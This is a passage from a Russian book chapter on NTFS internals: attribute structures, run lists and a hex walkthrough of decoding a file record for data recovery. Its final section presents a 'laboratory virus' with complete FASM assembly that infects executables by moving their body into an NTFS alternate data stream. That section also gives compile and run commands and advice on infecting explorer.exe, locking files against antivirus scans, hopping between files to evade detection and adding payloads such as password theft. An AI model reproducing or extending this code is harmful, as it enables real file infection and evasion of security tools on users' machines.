0D0h	Любая	$EA_INFORMATION	Расширенные атрибуты для HPFS
0E0h	Любая	$EA	Расширенные атрибуты для HPFS
0F0h	Windows NT	$PROPERTY_SET	Устарело и ныне не используется
100h	Windows 2000	$LOGGED_UTILITY_STREAM	Используется шифрующей файловой системой (EFS)

$STANDARD_INFORMATION

Атрибут стандартной информации описывает время создания/изменения/последнего доступа к файлу и права доступа, а также некоторую другую вспомогательную информацию (например, квоты). Структура атрибута стандартной информации кратко описана в табл. 6.7.

Таблица 6.7. Структура атрибута $STANDARD_INFORMATION

Смещение	Размер	ОС	Описание
- -		Любая	Стандартный атрибутный заголовок (standard attribute header)
00h	8	Любая	C — время создания (creation) файла
08h	8	Любая	A — время изменения (altered) файла
10h	8	Любая	M — время изменения файловой записи (MFT changed)
18h	8	Любая	R — время последнего чтения (read) файла
20h	4	Любая	Права доступа MS-DOS (MS-DOS file permissions)
			Значение	Описание
			0001h	Только на чтение (read-only)
			0002h	Скрытый (hidden)
			0004h	Системный (system)
			0020h	Архивный (archive)
			0040h	Устройство (device)
			0080h	Обычный (normal)
			0100h	Временный (temporary)
			0200h	Разреженный (sparse) файл
			0400h	Точка передачи (reparse point)
			0800h	Сжатый (compressed)
			1000h	Оффлайновый (offline)
			2000h	Неиндексируемый (not content indexed)
			4000h	Зашифрованный (encrypted)
24h	4	Любая	Старшее двойное слово номера версии (maximum number of versions)
28h	4	Любая	Младшее двойное слово номера версии (version number)
2Ch	4	Любая	Идентификатор класса (class ID)
30h	4	Windows 2000	Идентификатор владельца (owner ID)
34h	4	Windows 2000	Идентификатор безопасности (security ID)
38h	8	Windows 2000	Количество квотируемых байт (quota charged)
40h	8	Windows 2000	Номер последней последовательности обновления (update sequence number USN)

$ATTRIBUTE_LIST

Атрибут списка атрибутов (прямо каламбур) используется в тех случаях, когда все атрибуты файла не умещаются в базовой файловой записи, и файловая система вынуждена располагать их в расширенных файловых записях. Индексы расширенных файловых записей содержатся в атрибуте списка атрибутов, помещаемом в базовую файловую запись.

При каких обстоятельствах атрибуты не умещаются в одной файловой записи? Это может произойти в следующих случаях:

□ файл содержит много альтернативных имен или жестких ссылок;

□ файл сильно фрагментирован;

□ файл содержит очень сложный дескриптор безопасности;

□ файл имеет очень много потоков данных (т.е. атрибутов типа $DATA).

Структура атрибута списка атрибутов приведена в табл. 6.8.

Таблица 6.8. Структура атрибута $ATTRIBUTE_LIST

Смещение	Размер	Описание
- -		Стандартный атрибутный заголовок (standard attribute header)
00h	4	Тип (type) атрибута (см. табл. 6.6)
04h	2	Длина записи (record length)
06h	1	Длина имени (name length), или ноль, если нет, условно — N
07h	1	Смещение имени (offset to name), или ноль если нет
08h	8	Начальный виртуальный кластер (starting VCN)
10h	8	Ссылка на базовую/расширенную файловую запись
18h	2	Идентификатор атрибута (attribute ID)
1Ah	2N	Если N>0, то имя в формате UNICODE

$FILE_NAME

Атрибут полного имени файла хранит имя файла в соответствующем пространстве имен. Таких атрибутов у файла может быть и несколько (например, имя Win32 и имя MS-DOS). Здесь же хранятся и жесткие ссылки (hard link), если они есть.

Структура атрибута полного имени приведена в табл. 6.9.

Таблица 6.9. Структура атрибута $FILE_NAME

Смещение	Размер	Описание
- -		Стандартный атрибутный заголовок (standard attribute header)
00h	8	Ссылка (file reference) на материнский каталог
08h	8	C — время создания (creation) файла
10h	8	A — время последнего изменения (altered) файла
18h	8	M — время последнего изменения файловой записи (MFT changed)
20h	8	R — время последнего чтения (read) файла
28h	8	Выделенный размер (allocated size) файла
30h	8	Реальный размер (real size) файла
38h	4	Флаг (см. табл. 6.7)
3Ch	4	Используется HPFS
40h	1	Длина имени в символах — L
41h	1	Пространство имен файла (filename namespace)
42h	2L	Имя файла в формате UNICODE без завершающего нуля

Списки отрезков

Тела нерезидентных атрибутов хранятся на диске в одной или нескольких кластерных цепочках, называемых отрезками (runs). Отрезком называется последовательность смежных кластеров, характеризующаяся номером начального кластера и длиной. Совокупность отрезков называется списком (run-list или data run).

Внутренний формат представления списков не то, чтобы сложен, но простым его тоже на назовешь. Для экономии места длина отрезка и номер начального кластера хранятся в полях переменной длины. Если размер отрезка умещается в байт (т.е. его значение не превышает 255), то он займет один байт. По аналогии, если размер отрезка требует для своего представления двойного слова, то он займет двойное слово.

Сами же поля размеров хранятся в 4-битных ячейках, называемых нибблами (nibble) или полубайтами. Шестнадцатеричная система счисления позволяет легко переводить байты в нибблы и наоборот. Младший ниббл равен (X & 15), а старший — (X / 16). Иначе говоря, младший ниббл соответствует младшему шестнадцатеричному разряду байта, а старший — старшему. Например, 69h состоит из двух нибблов, причем младший равен 9h, а старший — 6h.

Список отрезков представляет собой массив структур, каждая из которых описывает характеристики "своего" отрезка. Структура элемента списка отрезков показана в табл. 6.10. В конце списка находится завершающий ноль. Первый байт структуры состоит из двух нибблов: младший задает длину поля начального кластера отрезка (условно обозначаемого буквой F), а старший — количество кластеров в отрезке (L). Затем идет поле длины отрезка. В зависимости от значения L оно может занимать от одного до восьми байт (поля большей длины недопустимы). Первый байт поля стартового кластера файла расположен по смещению 1+L байт от начала структуры (что соответствует 2+2*L нибблам). Кстати говоря, в документации Linux-NTFS Project (версия 0.4) поля размеров начального кластера и количества кластеров в отрезке перепутаны местами.

Таблица 6.10. Структура одного элемента списка отрезков

Смещение в нибблах	Размер в нибблах	Описание
0	1	Размер поля длины (L)
1	1	Размер поля начального кластера (S)
2	2*L	Количество кластеров в отрезке
2+2*L	2*S	Номер начального кластера отрезка

Покажем, как с этим работать на практике. Предположим, что мы имеем следующий список отрезков, соответствующий нормальному не фрагментированному файлу (что может быть проще!): 21 18 34 56 00. Попробуем его декодировать?

Начнем с первого байта — 21h. Младший полубайт (01h) описывает размер поля длины отрезка, старший (02h) — размер поля начального кластера. Следующие несколько байт представляют поле длины отрезка, размер которого в данном случае равен одному байту — 18h. Два других байта (34h 56h) задают номер начального кластера отрезка. Нулевой байт на конце сигнализирует о том, что это последний отрезок в файле. Таким образом, наш файл состоит из одного-единственного отрезка, начинающегося с кластера 5634h и заканчивающегося кластером 5634h + 18h == 564Ch.

Рассмотрим более сложный пример фрагментированного файла со следующим списком отрезков: 31 38 73 25 34 32 14 01 E5 11 02 31 42 AA 00 03 00. Извлекаем первый байт — 31h. Один байт приходится на поле длины, и три байта — на поле начального кластера. Таким образом, первый отрезок (run 1) начинается с кластера 342573h и продолжается вплоть до кластера 342573h + 38 == 3425ABh. Чтобы найти смещение следующего отрезка в списке, мы складываем размер обоих полей с их начальным смещением: 3 + 1 == 4. Отсчитываем четыре байта от начала списка отрезков и переходим к декодированию следующего отрезка: 32h — два байта на поле длины отрезка (равное в данном случае 0114h) и три байта — на поле номера начального кластера (0211E5h). Следовательно, второй отрезок (run 2) начинается с кластера 0211E5h и продолжается вплоть до кластера 0211E5h + 114h == 212F9h. Третий отрезок (run 3): 31h — один байт на поле длины и три байта — на поле начального кластера, равные 42h и 0300AAh соответственно. Поэтому третий отрезок (run 3) начинается с кластера 0300AAh и продолжается вплоть до кластера 0300AAh + 42h == 300ECh. Завершающий ноль на конце списка отрезков сигнализирует о том, что это последний отрезок в файле.

Таким образом, подопытный файл состоит из трех отрезков, разбросанных по диску в следующем живописном порядке: 342573h–3425ABh; 0211E5h–212F9h; 0300AAh–300ECh. Остается только прочитать его с диска! Нет ничего проще!

Начиная с версии 3.0, NTFS поддерживает разреженные (sparse) атрибуты, т.е. такие атрибуты, которые не записывают на диск кластеры, содержащие одни нули. При этом поле номера начального кластера отрезка может быть равным нулю, что означает, что данному отрезку не выделен никакой кластер. Поле длины содержит количество кластеров, заполненных нулями. Их не нужно считывать с диска. Вы должны самостоятельно изготовить их в памяти. Между прочим, далеко не все дисковые доктора знают о существовании разреженных атрибутов (если атрибут разрежен, его флаг равен 8000h), и интерпретируют нулевую длину поля номера начального кластера весьма странным образом. Последствия такого "лечения" обычно оказываются весьма печальными.

Пространства имен

NTFS изначально проектировалась как файловая система, не зависящая от платформы, способная работать с большим количеством различных подсистем, в том числе: Win32, MS-DOS, POSIX. Так как каждая из перечисленных подсистем налагает собственные ограничения на набор символов, допустимых для использования в имени файла, NTFS вынуждена поддерживать несколько независимых пространств имен (name spaces).

POSIX

Допустимы все символы UNICODE (с учетом регистра), за исключением символа нуля (NULL), обратной косой черты (\) и знака двоеточия (:). Последнее из перечисленных ограничений, кстати говоря, не есть ограничение POSIX. Напротив, это — внутреннее ограничение файловой системы NTFS, использующей этот символ для доступа к именованным атрибутам. Максимально допустимая длина имени составляет 255 символов.

Win32

Доступны все символы UNICODE (без учета регистра), за исключением следующего набора: кавычки ("), звездочка (*), косая черта (/), двоеточие (:), знак "меньше" (<), знак "больше" (>), вопросительный знак (?), обратная косая черта (\), а также символ конвейера (|). Кроме того, имя файла не может заканчиваться точкой или пробелом. Максимально допустимая длина имени составляет 255 символов.

MS-DOS

Доступны все символы пространства имен Win32 (без учета регистра), за исключением следующих: знак плюса (+), запятая (,), точка (.), точка с запятой (;), знак равенства (=). Длина имени файла не должна превышать восьми символов, за которыми следует необязательное расширение имени файла, имеющее длину от одного до трех символов.

Назначение служебных файлов

NTFS содержит большое количество служебных файлов (метафайлов) строго определенного формата. Важнейший из метафайлов, $MFT, мы только что рассмотрели. Остальные метафайлы играют вспомогательную роль. Для восстановления данных детально знать их структуру необязательно. Тем не менее, если они окажутся искажены, то штатный драйвер файловой системы не сможет работать с таким томом, поэтому иметь некоторые представления о назначении каждого из них все же необходимо.

Краткие сведения о назначении важнейших метафайлов приведены в табл. 6.11. К сожалению, в пределах одной главы нет возможности подробно рассмотреть структуру всех существующих метафайлов, поэтому заинтересованным читателям рекомендуется искать эту информацию в документации к Linux-NTFS Project.

Таблица 6.11. Назначение основных метафайлов NTFS

Inode	Имя файла	ОС	Описание
0	$MFT	Любая	Главная файловая таблица (Master File Table, MFT)
1	$MFTMirr	Любая	Резервная копия первых четырех элементов MFT
2	$LogFile	Любая	Журнал транзакций (transactional logging file)
3	$Volume	Любая	Серийный номер, время создания, флаг не сброшенного кэша (dirty flag) тома
4	$AttrDef	Любая	Определение атрибутов
5	. (точка)	Любая	Корневой каталог (root directory) тома
6	$Bitmap	Любая	Карта свободного/занятого пространства
7	$Boot	Любая	Загрузочная запись (boot record) тома
8	$BadClus	Любая	Список плохих кластеров (bad clusters) тома
9	$Quota	Windows NT	Информация о квотах (quota information)
9	$Secure	Windows 2000	Использованные дескрипторы безопасности (security descriptors)
10	$UpCase	Любая	Таблица заглавных символов (uppercase characters) для трансляции имен
11	$Extend	Windows 2000	Каталоги: $ObjId, $Quota, $Reparse, $UsnJrnl
12-15	не используется	Любая	Помечены как использованные, но в действительности пустые
16-23	не используется	Любая	Помечены как неиспользуемые
Любой	$ObjId	Windows 2000	Уникальные идентификаторы каждого файла
Любой	$Quota	Windows 2000	Информация о квотах (quota information)
Любой	$Reparse	Windows 2000	Информация о точке передачи (reparse point)
Любой	$UsnJrnl	Windows 2000	Журнал шифрованной файловой системы (journaling of encryption)
>24	Пользовательский файл	Любая	Обычные файлы
>24	Пользовательский каталог	Любая	Обычные каталоги

Практический пример

Рассказ о файловой системе NTFS был бы неполным без практической иллюстрации техники разбора файловой записи вручную. До сих пор мы витали в облаках теоретической абстракции. Пора спускаться на грешную землю.

Воспользовавшись любым дисковым редактором, например, Disk Probe, попробуем декодировать одну файловую запись вручную. Найдем сектор, содержащий сигнатуру FILE в его начале (не обязательно брать первый встретившийся сектор). Он может выглядеть, например, как в листинге 6.4.

Листинг 6.4. Ручное декодирование файловой записи (разные атрибуты выделены разным цветом)

        : 00 01 02 03 04 05 06 07 | 08 09 0A 0B 0C 0D 0E 0F

00000000: 46 49 4C 45 2A 00 03 00 | 60 79 1A 04 02 00 00 00 FILE*...`y......

00000010: 01 00 01 00 30 00 01 00 | 50 01 00 00 00 04 00 00 ....0...P.......

00000020: 00 00 00 00 00 00 00 00 | 04 00 03 00 00 00 00 00 ................

00000030: 10 00 00 00 60 00 00 00 | 00 00 00 00 00 00 00 00 ................

00000040: 48 00 00 00 18 00 00 00 | B0 D5 C9 2F C6 0B C4 01 H.......░╒╔/╞.─.

00000050: E0 5A B3 7B A9 FA C3 01 | 90 90 F1 2F C6 0B C4 01 рZ│{й·├.PPё/╞.─.

00000060: 50 7F BC FE C8 0B C4 01 | 20 00 00 00 00 00 00 00 P⌂╝■╚.─. .......

00000070: 00 00 00 00 00 00 00 00 | 00 00 00 00 05 01 00 00 ................

00000080: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 ................

00000090: 30 00 00 00 70 00 00 00 | 00 00 00 00 00 00 02 00 0...p...........

000000A0: 54 00 00 00 18 00 01 00 | DB 1A 01 00 00 00 01 00 T.......█.......

000000B0: B0 D5 C9 2F C6 0B C4 01 | B0 D5 C9 2F C6 0B C4 01 ░╒╔/╞.─.░╒╔/╞.─.

000000C0: B0 D5 C9 2F C6 0B C4 01 | B0 D5 C9 2F C6 CB C4 01 ░╒╔/╞.─.░╒╔/╞.─.

000000D0: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 ................

000000E0: 20 00 00 00 00 00 00 00 | 09 03 49 00 6C 00 66 00 ..........I.l.f.

000000F0: 61 00 6B 00 2E 00 64 00 | 62 00 78 00 00 00 00 00 a.k...d.b.x.....

00000100: 80 00 00 00 48 00 00 00 | 01 00 00 00 00 00 03 00 А...H...........

00000110: 00 00 00 00 00 00 00 00 | ED 04 00 00 00 00 00 00 ........э.......

00000120: 40 00 00 00 00 00 00 00 | 00 E0 4E 00 00 00 00 00 @........рN.....

00000130: F0 D1 4E 00 00 00 00 00 | F0 D1 4E 00 00 00 00 00 Ё╤N.....Ё╤N.....

00000140: 32 EE 04 D9 91 00 00 81 | FF FF FF FF 82 79 47 11 2ю.┘С..Б    ВyG.

000001F0: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 03 00 ................

        : 00 01 02 03 04 05 06 07 | 08 09 0A 0B 0C 0D 0F 0F

Первым делом необходимо восстановить оригинальное содержимое последовательности обновления. По смещению 04h от начала сектора лежит 16-разрядный указатель на нее, равный в данном случае 2Ah (значит, это NTFS 3.0 или более ранняя версия). А что у нас лежит по смещению 2Ah? Это — пара байт 03 00. Данная последовательность представляет собой номер последовательности обновления. Сверяем его с содержимым двух последних байт этого и следующего секторов (смещения 1FEh и 3FEh соответственно). Они равны! Следовательно, данная файловая запись цела (по крайней мере, на первый взгляд), и можно переходить к операции ее восстановления. По смещению 2Ch расположен массив, содержащий оригинальные значения последовательности обновления. Количество элементов в нем равно содержимому 16-разрядного поля, расположенному по смещению 06h от начала сектора и уменьшенного на единицу (в данном случае имеем 03h - 01h == 02h). Извлекаем два слова, начиная со смещения 2Ch (в данном случае они равны 00 00 и 00 00) и записываем их в конец первого и последнего секторов.

Теперь нам необходимо выяснить, используется ли данная файловая запись, или же ассоциированный с ней файл или каталог был удален. 16-разрядное поле, расположенное по смещению 16h, содержит значение 01h. Следовательно, перед нами файл, а не каталог, и этот файл еще не удален. Но является ли эта файловая запись базовой для данного файла или мы имеем дело с ее продолжением? 64-разрядное поле, расположенное по смещению 20h, равно нулю, следовательно, данная файловая запись — базовая.

Очень хорошо, теперь переходим к исследованию атрибутов. 16-разрядное поле, находящееся по смещению 14h, равно 30h, следовательно, заголовок первого атрибута начинается со смещения 30h от начала сектора.

Первое двойное слово атрибута равно 10h, значит, перед нами атрибут типа $STANDARD_INFORMATION. 32-разрядное поле длины атрибута, находящееся по смещению 04h и равное в нашем случае 60h байт, позволяет нам вычислить смещение следующего атрибута в списке: 30h (смещение нашего атрибута) + 60h (его длина) == 90h (смещение следующего атрибута). Первое двойное слово следующего атрибута равно 30h, значит, это атрибут типа $NAME, и следующее 32-разрядное поле хранит его длину, равную в данном случае 70h. Сложив длину атрибута с его смещением, мы получим смещение следующего атрибута — 90h + 70h == 100h. Первое двойное слово третьего атрибута равно 80h, следовательно, это атрибут типа $DATA, хранящий основные данные файла. Складываем его смещение с длиной — 100h + 32h == 132h. И вот здесь мы наткнулись на частокол FFFFFFh, сигнализирующий о том, что атрибут $DATA последний в списке.

Теперь, разбив файловую запись на атрибуты, можно приступить к исследованию каждого из атрибутов в отдельности. Начнем с разбора имени. 8-разрядное поле, находящееся по смещению 08h от начала атрибутного заголовка (и по смещению 98h от начала сектора), содержит флаг нерезидентности. В данном случае этот флаг равен нулю. Это значит, атрибут резидентный, и его тело хранится непосредственно в самой файловой записи, что уже хорошо. 16-разрядное поле, расположенное по смещению 0Сh от начала атрибутного заголовка (и по смещению 9Ch от начала сектора) равно нулю, следовательно, тело атрибута не сжато и не зашифровано. Таким образом, можно приступать к разбору тела атрибута. 32-разрядное поле, расположенное по смещению 10h от начала атрибутного заголовка (и по смещению A0h от начала сектора), содержит длину атрибутного тела, равную в данном случае 54h байт. 16-разрядное поле, расположенное по смещению 14h от начала атрибутного заголовка и по смещению A4h от начала сектора, хранит смещение атрибутного тела, равное в данном случае 18h. Следовательно, тело атрибута $FILE_NAME располагается по смещению A8h от начала сектора.

Формат атрибута типа $FILE_NAME описан в табл. 6.9. Первые восемь байт содержат ссылку на родительский каталог этого файла, равную в данном случае 11ADBh:01 (индекс — 11ADBh, номер последовательности — 01h). Следующие 32 байта содержат данные о времени создания, изменения и времени последнего доступа к файлу. По смещению 28h от начала тела атрибута и D0h от начала сектора лежит 64-разрядное поле выделенного размера, а за ним — 64-разрядное поле реального размера. Оба равны нулю, что означает, что за размером файла следует обращаться к атрибутам типа $DATA.

Длина имени файла содержится в 8-разрядном поле, находящемся по смещению 40h байт от начала тела атрибута и по смещению E8h от начала сектора. В данном случае оно равно 09h. Само же имя начинается со смещения 42h от начала тела атрибута и со смещения EAh от начала сектора. И здесь находится имя файла llfak.dbx.

Переходим к атрибуту основных данных файла, пропустив атрибут стандартной информации, который не содержит решительно ничего интересного. 8-разрядный флаг нерезидентности, расположенный по смещению 08h от начала атрибутного заголовка и по смещению 108h от начала сектора, равен 01h, следовательно, атрибут нерезидентный. 16-разрядный флаг, расположенный по смещению 0Ch от начала атрибутного заголовка и по смещению 10Ch от начала сектора, равен нулю, значит, атрибут не сжат и не зашифрован. 8-разрядное поле, расположенное по смещению 09h от начала атрибутного заголовка и по смещению 109h от начала сектора, равно нулю — атрибут безымянный. Реальная длина тела атрибута (в байтах) содержится в 64-разрядном поле, расположенном по смещению 30h от начала атрибутного заголовка и по смещению 130h от начала сектора. В данном случае она равна 4ED1F0h (5.165.552). Два 64-разрядных поля, расположенных по смещениям 10h/110h и 18h/118h байт от начала атрибутного заголовка/сектора соответственно, содержат начальный и конечный номер виртуального кластера нерезидентного тела. В данном случае они равны: 0000h и 4EDh соответственно.

Остается лишь декодировать список отрезков, адрес которого хранится в 16-разрядном поле, находящемся по смещению 20h от начала атрибутного заголовка и 120h от начала сектора. В данном случае поле равно 40h, что соответствует смещению от начала сектора в 140h. Сам же список отрезков выглядит так: 32 EE 04 D9 91 00 00. Ага! Два байта занимает поле длины (равное в данном случае 04EEh кластерам) и три — поле начального кластера (0091h). Завершающий ноль на конце говорит о том, что этот отрезок последний в списке отрезков.

Подытожим полученную информацию. Файл называется llfak.dbx, он начинается с кластера 0091h и продолжается вплоть до кластера 57Fh, при реальной длине файла в 5.165.552 байт. Это все, что надо! Теперь остается только скопировать файл на резервный носитель (например, ZIP или стример).

Возможные опасности NTFS

Сейчас мы немного отвлечемся и поговорим о... компьютерных вирусах, обитающих внутри NTFS и активно использующих ее расширения в своих личных целях. В любом случае конструирование вирусов — отличный стимул к изучению ассемблера! И хотя вирус в принципе можно написать и на Си, это будет как-то не по-хакерски и вообще неправильно! Настоящие хакеры пишут только на FASM. Итак, запускаем Multi-Edit или TASMED и погружаемся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием...

Простейший вирус под Windows NT

Внедрение вируса в исполняемый файл, в общем случае, достаточно сложный и мучительней процесс. Как минимум для этого требуется изучить формат РЕ-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вируса и за сезон, а хочется создать его прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows NT/2000/XP) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных (рис. 6.4).

Рис. 6.4. Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например: my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию <Shift>+<F4>, вводим с клавиатуры имя файла и потока данных, например: xxx:yyy, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx. Почему же файл имеет нулевую длину? А где же введенный нами только что текст? Нажмем клавишу <F4> и... действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным сканерам. Метод, применяемый для обмана антивирусных программ, мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закройте руководство по формату исполняемых файлов (Portable Executable, РЕ). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, делающий свое черное дело и передающий управление на основное тело. Работать такой вирус будет только на Windows NT/2000/XP и только под NTFS. На работу с файловой системой FAT он изначально не рассчитан. Оригинальное содержимое заражаемого файла на разделах FAT будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков. В качестве примера архиватора, поддерживающего файловые потоки, можно привести RAR. В диалоговом окне Имя и параметры архива есть вкладка Дополнительно, которая содержит группу опций Параметры NTFS (рис. 6.5). В составе этой группы опций есть флажок Сохранять файловые потоки. Установите эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Рис. 6.5. Архиватор RAR способен сохранять файловые потоки в процессе архивации

Существует и другая проблема. Windows блокирует доступ ко всем открытым файлам, и попытка внедрения в них обречена на неудачу. Тем не менее, выход из этого положения существует. Заблокированный файл нельзя открыть, но можно переименовать. Возьмем, например, explorer.exe, и переименуем его, например, в foo. Затем создадим новый файл с точно таким же именем, в основном потоке которого поместим вирусное тело, а прежний explorer.exe скопируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe, и файл foo будет можно удалить.

Примечание

Вообще говоря, переименованный файл можно и не удалять. Правда, в этом случае он может привлечь внимание бдительного пользователя или антивирусного ревизора.

Теперь настал момент поговорить об антивирусных ревизорах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусных программ. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwShareMode до LockFile/LockFileEx. Подробнее об этом можно прочитать в Platform SDK.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не сотрет. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания — тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить. Например, можно вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет файловый монитор (Filemon.exe) Марка Руссиновича (http://www.systeminternals.com). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.

Программный код вируса

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.

В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.

Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса

section '.code' code readable executable start:

      ; Удаляем временный файл

      push foo

      call [DeleteFile]

      ; Определяем наше имя

      push 1000

      push buf

      push 0

      call [GetModuleFileName]

      ; Считываем командную строку

      ; Ключ filename - заразить

      call [GetCommandLine]

      mov ebp, eax

      xor ebx, ebx

      mov ecx, 202A2D2Dh ;

rool:

      cmp [eax], ecx ; это '--*'?

      jz infect

      inc eax

      cmp [eax], ebx ; Конец командной строки?

      jnz rool

      ; Выводим диагностическое сообщение,

      ; подтверждая свое присутствие в файле

      push 0

      push aInfected

      push aHello

      push 0

      call [MessageBox]

      ; Добавляем к своему имени имя потока NTFS

      mov esi, code_name

      mov edi, buf

      mov ecx, 100; сode_name_end - code_name

      xor eax,eax

      repne scasb

      dec edi

      rep movsb

      ; Запускаем поток NTFS на выполнение

      push xxx

      push xxx

      push eax

      push eax

      push eax

      push eax

      push eax

      push eax

      push ebp

      push buf

      call [CreateProcess]

      jmp go2exit ; Выходим из вируса

infect:

      ; Устанавливаем eax на первый символ имени файла-жертвы

      ; (далее по тексту dst)

      add eax, 4

      xchg eax, ebp

      xor eax,eax

      inc eax

      ; Здесь можно вставить проверку dst на заражение

      ; Переименовываем dst в foo

      push foo

      push ebp

      call [RenameFile]

      ; Копируем в foo основной поток dst

      push eax

      push ebp

      push buf

      call [CopyFile]

      ; Добавляем к своему имени имя потока NTFS

      mov esi, ebp

      mov edi, buf

copy_rool:

      lodsb

      stosb

      test al,al

      jnz copy_rool

      mov esi, code_name

      dec edi

copy_rool2:

      lodsb

      stosb

      test al,al

      jnz copy_rool2

      ; Копируем foo в dst:bar

      push eax

      push buf

      push foo

      call [CopyFile]

      ; Здесь не помешает добавить коррекцию длины заражаемого файла

      ; Удаляем foo

      push foo

      call [DeleteFile]

      ; Выводим диагностическое сообщение,

      ; подтверждающее успешность заражения файла

      push 0

      push aInfected

      push ebp

      push 0

      call [MessageBox]

      ; Выход из вируса

go2exit:

      push 0

      call [ExitProcess]

section '.data' data readable writeable

      foo db "foo",0        ; Имя временного файла

      code_name db ":bar",0 ; Имя потока, в котором будет...

      code_name_end:        ; ...сохранено основное тело

      ; Различные текстовые строки, выводимые вирусом

      aInfected db "infected",0

      aHello db "Hello, you are hacked"

      ; Различные буфера для служебных целей

      buf rb 1000

      xxx rb 1000

Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду: fasm.exe xcode.asm. Если все сделано правильно, на диске должен появиться файл xcode.exe. Запустим его на выполнение с опцией командной строки --*, за которой следует имя файла, который требуется заразить, например, notepad.exe (xcode.exe --* notepad.exe). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Рис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении

Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OK передает управление оригинальному коду программы.

Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe --* sol.exe. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение самостоятельно.

Внимание!

До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается самостоятельно и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и осуществлял вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.

